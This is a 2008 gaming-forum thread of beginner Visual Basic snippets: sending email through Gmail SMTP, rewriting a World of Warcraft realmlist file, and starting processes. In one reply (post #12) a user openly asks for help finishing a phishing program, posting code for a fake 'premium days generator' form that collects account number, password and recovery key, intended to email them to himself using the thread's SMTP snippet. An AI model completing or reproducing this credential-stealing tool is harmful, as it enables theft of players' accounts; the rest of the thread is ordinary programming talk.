[RELEASE] Visual Basic 2008 Codes menu

User Tag List

Page 1 of 2 12 LastLast
Results 1 to 15 of 26
  1. #1
    EmiloZ's Avatar Flying Piggy Back
    CoreCoins Purchaser
    Reputation
    538
    Join Date
    Jun 2007
    Posts
    1,393
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    [RELEASE] Visual Basic 2008 Codes

    Hello. At here i will learn you some Visual Basic / post some codes

    What this could be used for : You can use it for ex. making a program for sending from GMail isted of opening your browser.
    Note: Edit every thing in RED

    Use this imports :
    Code:
    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail
    Sending an e-mail :

    Code:
            Dim mail As New MailMessage()
            Dim SmtpServer As New SmtpClient
            SmtpServer.Credentials = New Net.NetworkCredential("username", "password")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            SmtpServer.EnableSsl = True
            mail.To.Add("your_target@gmail.com")
            mail.From = New MailAddress("username@gmail.com")
            mail.Subject = "My E-Mail from my Visual Basic Program"
            mail.Body = "  Hello. Do you think this is nice? and btw. EmiloZ helped me to make it :D"
            SmtpServer.Send(mail)
    Realmlist Changer ( Without custom textbox )

    What this could be used for : You can use it for chaning your realmlist by just pressing on a button.
    Note: Edit every thing in RED
    Code :

    Code:
            Dim FileName As String
            FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
            Dim sw As IO.TextWriter
            sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
            sw.WriteLine("set realmlist blablabla.servegame.org")
            sw.WriteLine("set patchlist blablabla.servegame.org")
            sw.Flush()
            sw.Close()
    US realmlist :

    Code:
            Dim FileName As String
            FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
            Dim sw As IO.TextWriter
            sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
            sw.WriteLine("set realmlist us.logon.worldofwarcraft.com")
            sw.WriteLine("set patchlist us.version.worldofwarcraft.com")
            sw.Flush()
            sw.Close()
    EU realmlist :

    Code:
            Dim FileName As String
            FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
            Dim sw As IO.TextWriter
            sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
            sw.WriteLine("set realmlist eu.logon.worldofwarcraft.com")
            sw.WriteLine("set patchlist eu.version.worldofwarcraft.com")
            sw.Flush()
            sw.Close()
    Starting an program from a button
    Edit everything in RED

    Code:
    System.Diagnostics.Process.Start("filepath")
    will show x form
    Code:
    Formx.Show()


    More to come

    - EmiloZ

    Last edited by EmiloZ; 11-02-2008 at 08:04 AM.
    Why fill up a signature?

    [RELEASE] Visual Basic 2008 Codes
  2. #2
    Anthraxx's Avatar Contributor
    Reputation
    111
    Join Date
    Nov 2006
    Posts
    374
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Also
    Code:
     System.Diagnostics.Process.Start("filepath")

    Can be used for open websites etc
    Example:
    Code:
    System.Diagnostics.Process.Start("
    Code:
    www.MMOwned.com") 

    If i remember right


  3. #3
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
    Code:
    Dim FileName As String
    FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
    I mean, you're not even using the string after you give it a value.

  4. #4
    EmiloZ's Avatar Flying Piggy Back
    CoreCoins Purchaser
    Reputation
    538
    Join Date
    Jun 2007
    Posts
    1,393
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Anthraxx View Post
    Also
    Code:
     System.Diagnostics.Process.Start("filepath")

    Can be used for open websites etc
    Example:
    Code:
    System.Diagnostics.Process.Start("
    Code:
    www.MMOwned.com") 

    If i remember right
    Ye.
    Code:
    System.Diagnostics.Process.Start ("http://mmowned.com")
    will start an website

    Originally Posted by ReidE96 View Post
    Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
    Code:
    Dim FileName As String
    FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
    I mean, you're not even using the string after you give it a value.
    The code works, used it for million times.
    Why fill up a signature?

  5. #5
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Oh I'm not claiming it won't work. "Superflous" means not needed. What I'm saying is that it would work fine even if you removed those 2 lines.

  6. #6
    EmiloZ's Avatar Flying Piggy Back
    CoreCoins Purchaser
    Reputation
    538
    Join Date
    Jun 2007
    Posts
    1,393
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    lolz. over 140 viewz and 4 comments ? /=
    Why fill up a signature?

  7. #7
    Rockerfooi's Avatar Contributor
    Reputation
    97
    Join Date
    Nov 2007
    Posts
    597
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Thnx for the share ^^ A problem of VB is that your code gets a mess easy (at least, if it contains more 1 line XD)

    EDIT: Don't think I hate VB or something I actually like it for quick programs, and I used to make bots with it for a 3D Chat Community (Active Worlds)... But its just something I find annoying
    Last edited by Rockerfooi; 09-15-2008 at 12:18 PM.

  8. #8
    ReidE96's Avatar Archer Authenticator enabled
    Reputation
    470
    Join Date
    Dec 2006
    Posts
    1,625
    Thanks G/R
    1/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    VB is very verbose, so it's really obvious what stuff does when you code it in. Of course, this means that you don't need many comments.

  9. #9
    Babbaa's Avatar Member
    Reputation
    32
    Join Date
    Nov 2007
    Posts
    206
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Awesome work.

  10. #10
    maclone's Avatar / Authenticator enabled
    Reputation
    2420
    Join Date
    Nov 2007
    Posts
    8,726
    Thanks G/R
    0/1029
    Trade Feedback
    0 (0%)
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by EmiloZ View Post
    Code:
    System.Diagnostics.Process.Start("filepath")
    Code:
    Shell("filepath")
    Way better, or use ShellExecute.

    Or use this for diagnostics
    Code:
    Dim TaslID As Integer
    TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
    Parameters for Shell

    PathName
    Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
    If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:\", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:\.

    Style
    Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.

    Wait
    Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.

    Timeout
    Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.
    Last edited by maclone; 09-16-2008 at 12:09 PM.
    Zomfg. And no, don't ask. - Dombo did it.

  11. #11
    volitle's Avatar Contributor
    Reputation
    181
    Join Date
    Nov 2007
    Posts
    1,127
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    kewl nice share +rep


  12. #12
    Y R U A NUB ?'s Avatar Banned
    Reputation
    103
    Join Date
    Nov 2007
    Posts
    436
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hey, I need some help getting e-mailer work. I have a form with 3 text boxes, Account Number, Password, Recovery Key. I want my app to send an e-mail with these TextBoxe's texts as a body to my e-mail, kinda phish.. Can someone finish this for me, so when you press Button1 it sends an e-mail? I'm pretty new to VB, I can't get this to work properly.. This is what I have:

    Code:
    Public Class Form1
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            If TextBox1.Text = "" Then
                MsgBox("Please enter your account number.")
                ElseIf TextBox2.Text = "" Then
                MsgBox("Please enter your password.")
            ElseIf TextBox3.Text = "" Then
                MsgBox("Please enter your recovery key.")
            Else : ProgressBar1.Value = 100
                Label4.Text = "Successful!"
                MsgBox("Successfully generated 90 premium days to your account. Please login.")
                    End If
    
        End Sub
    
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            TextBox1.Text = ""
            TextBox2.Text = ""
            TextBox3.Text = ""
            Label4.Text = "Waiting for request.."
            ProgressBar1.Value = 1
    
        End Sub
    End Class
    Thanks!

  13. #13
    Apoc's Avatar Angry Penguin
    Reputation
    1387
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/12
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by maclone View Post
    Code:
    Shell("filepath")
    Way better, or use ShellExecute.

    Or use this for diagnostics
    Code:
    Dim TaslID As Integer
    TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
    Parameters for Shell

    PathName
    Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
    If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:.

    Style
    Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.

    Wait
    Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.

    Timeout
    Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.
    Not only is using Shell not recommended (by many sites, MSDN included), but Process.Start(string) allows you to store the Process in a variable to do work with later. (And instead of using a string to start the process itself, you can optionally feed it a ProcessStartInfo which can set up many many more things)

    I.E:

    Code:
    ' Create our start info
    Dim info As New ProcessStartInfo("C:MyExecutable.exe", "myArgs -for -the -app")
    
    ' We'll be redirecting the standard output to our own application
    info.RedirectStandardOutput = True
    
    ' Shell execute so we don't have to worry about some nasty kernel errors
    info.UseShellExecute = True
    
    ' Set the window style for when we start the external application.
    info.WindowStyle = ProcessWindowStyle.Hidden
    
    ' Start our process, and keep the Process reference.
    ' This allows us to do some cool stuff, and not worry about tracking the process
    ' via Process.GetProcessByName etc
    Dim process As Process = Process.Start(info)
    
    ' Set up a StreamReader to get the current output from our other app
    Dim reader As StreamReader = process.StandardOutput
    
    ' While the app is still running, print a simple full stream debug to our application.
    While Not process.HasExited
        Console.WriteLine(reader.ReadToEnd())
    End While
    
    ' Print the ExitCode for the app
    Console.WriteLine("Process exited with exit code " + process.ExitCode)
    
    ' Kill our reader.
    reader.Close()
    Works great for things like console apps. (You can redirect the input/output easily to make it seem as though your WinForm app is running the other console app)

    I do this with a few of my own programs. (As well as a batch WinRar archiver) I wouldn't suggest it with larger applications though. (Such as Firefox, etc. The output stream gets pretty nasty.)

    In short: Always use the Process class. Stay away from Shell whenever possible.
    Last edited by Apoc; 09-18-2008 at 02:08 AM.

  14. #14
    Weekday's Avatar Contributor

    Reputation
    144
    Join Date
    Sep 2007
    Posts
    350
    Thanks G/R
    1/2
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    "I will learn you" ?
    That should be: "I will teach you"

  15. #15
    maclone's Avatar / Authenticator enabled
    Reputation
    2420
    Join Date
    Nov 2007
    Posts
    8,726
    Thanks G/R
    0/1029
    Trade Feedback
    0 (0%)
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Apoc View Post
    In short: Always use the Process class. Stay away from Shell whenever possible.
    You live and learn.
    Thanks Apoc
    Zomfg. And no, don't ask. - Dombo did it.

Page 1 of 2 12 LastLast

Similar Threads

  1. Visual basics 2008 Tabs
    By Pl0x3r in forum Programming
    Replies: 6
    Last Post: 04-17-2010, 11:37 AM
  2. Replies: 5
    Last Post: 02-02-2009, 11:14 AM
  3. Sams Teach Yourself Visual Basic 2008
    By ClubbS in forum Programming
    Replies: 4
    Last Post: 01-30-2009, 10:48 PM
  4. [Release 22 january 2008] BrantX Repack Update DB, a few things added
    By Arthas117 in forum World of Warcraft Emulator Servers
    Replies: 6
    Last Post: 01-21-2008, 09:40 AM
  5. Visual Basic, I have an idea.
    By WoWLegend in forum World of Warcraft Bots and Programs
    Replies: 14
    Last Post: 11-11-2006, 02:36 PM
All times are GMT -5. The time now is 08:01 AM. Powered by vBulletin® Version 4.2.3
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2024 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search